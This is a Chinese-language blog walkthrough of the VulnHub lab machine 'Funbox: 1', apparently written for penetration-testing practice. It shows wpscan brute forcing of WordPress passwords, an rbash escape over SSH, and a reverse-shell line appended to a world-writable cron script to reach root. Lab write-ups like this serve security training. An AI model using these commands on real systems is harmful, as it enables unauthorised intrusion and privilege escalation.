vulnhub Funbox: 1

本文详细记录了一次渗透测试的过程,从使用Nmap扫描目标主机,发现开放端口,到利用Wpscan破解WordPress用户名和密码,然后通过SSH登录并绕过rbash限制。接着,通过修改文件权限和利用定时任务,最终实现权限提升,获取到root用户的反弹shell。整个过程展现了渗透测试中的技巧和策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

渗透思路:

nmap扫描----wpscan爆破网站用户名和密码----joe用户ssh登录并绕过rbash----文件权限777定时任务提权(多个用户定时任务执行同一个文件)

环境信息:

靶机:192.168.101.82

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.82

扫描到tcp端口21、22、80、33060

2、修改/etc/hosts

浏览器访问靶机80端口http://192.168.101.82,会自动跳转到http://funbox.fritz.box/,但由于没有在hosts文件中配置ip和域名的映射关系,因此无法正常访问网站。

修改攻击机的/etc/hosts文件

sudo vim /etc/hosts

加上

192.168.101.82 funbox.fritz.box

再在浏览器中访问http://funbox.fritz.box/,即可正常访问,并且可以看出站点是基于wordpress的(如果从外观不能确定的话,拉到最下面可以看到Proudly powered by WordPress。或者也可以用dirb或gobuster等扫描网站目录)

3、wpscan爆破网站用户名和密码

首先用wpscan枚举网站用户名

wpscan --url http://funbox.fritz.box/ -e

发现两个用户名:admin和joe

再用wpscan爆破网站用户的密码,其中user.txt中包含admin和joe两个用户名(各一行),密码字典用的是kali自带的rockyou.txt

wpscan --url http://funbox.fritz.box/ -U user.txt -P rockyou.txt

两个用户的密码都爆破出来了

| Username: joe, Password: 12345

| Username: admin, Password: iubire

4、joe用户ssh登录并绕过rbash

浏览器访问wordpress的登录页面:http://funbox.fritz.box/wp-login.php

本来打算能用admin登录就用,哪知道admin登录还开启了邮件验证

只能退而求其次改用joe登录,登录后来到http://funbox.fritz.box/wp-admin/

很可惜,没发现可以getshell的漏洞

尝试用步骤3中爆破出的用户名和密码进行ssh登录,admin无法登录,joe可以登录成功

ssh joe@192.168.101.82

密码12345

想执行find命令的时候发现这是个rbash

退出ssh登录,重新ssh登录,并在登陆时加上-t参数绕过rbash

ssh joe@192.168.101.82 -t "bash --noprofile"

这样登录后就可以绕过rbash限制

5、文件权限777定时任务提权

进入/home文件夹,发现除了joe的家目录,还有funny的家目录。

进入funny家目录,发现文件.reminder.sh,查看内容发现提示管理员会持续测试脚本.backup.sh,也就是说这可能是个定时任务,而这个.backup.sh又这么巧文件权限是777,也就是joe也有修改它的权限

在攻击机上nc监听8888端口,并将反弹shell语句写入.backup.sh

echo "bash -i &>/dev/tcp/192.168.101.34/8888 <&1" >> .backup.sh

稍等片刻,在攻击机上nc监听的端口上即可得到funny的反弹shell

输入如下命令得到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

之后尝试寻找了很多提权方法都没找到,最后看了这篇writeup才发现原来root和funny都定时执行.backup.sh

VulnHub Funbox 1 Walkthrough - Rbash Escape

细想来,.reminder.sh中确实提示了admin会长期测试.backup.sh。

于是我同时在两个终端中用nc监听8888端口,并且一旦获得funny用户的反弹shell就终端连接并重新开始监听8888端口,最后终于在漫长的几分钟之后,得到了root的反弹shell

题外话(root和funny的定时任务)

root和funny的定时任务都在/var/spool/cron/crontabs文件夹下

/var/spool/cron/crontabs/funny内容如下,每2分钟执行一次/home/funny/.backup.sh

/var/spool/cron/crontabs/root内容如下,每5分钟执行一次/home/funny/.backup.sh

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值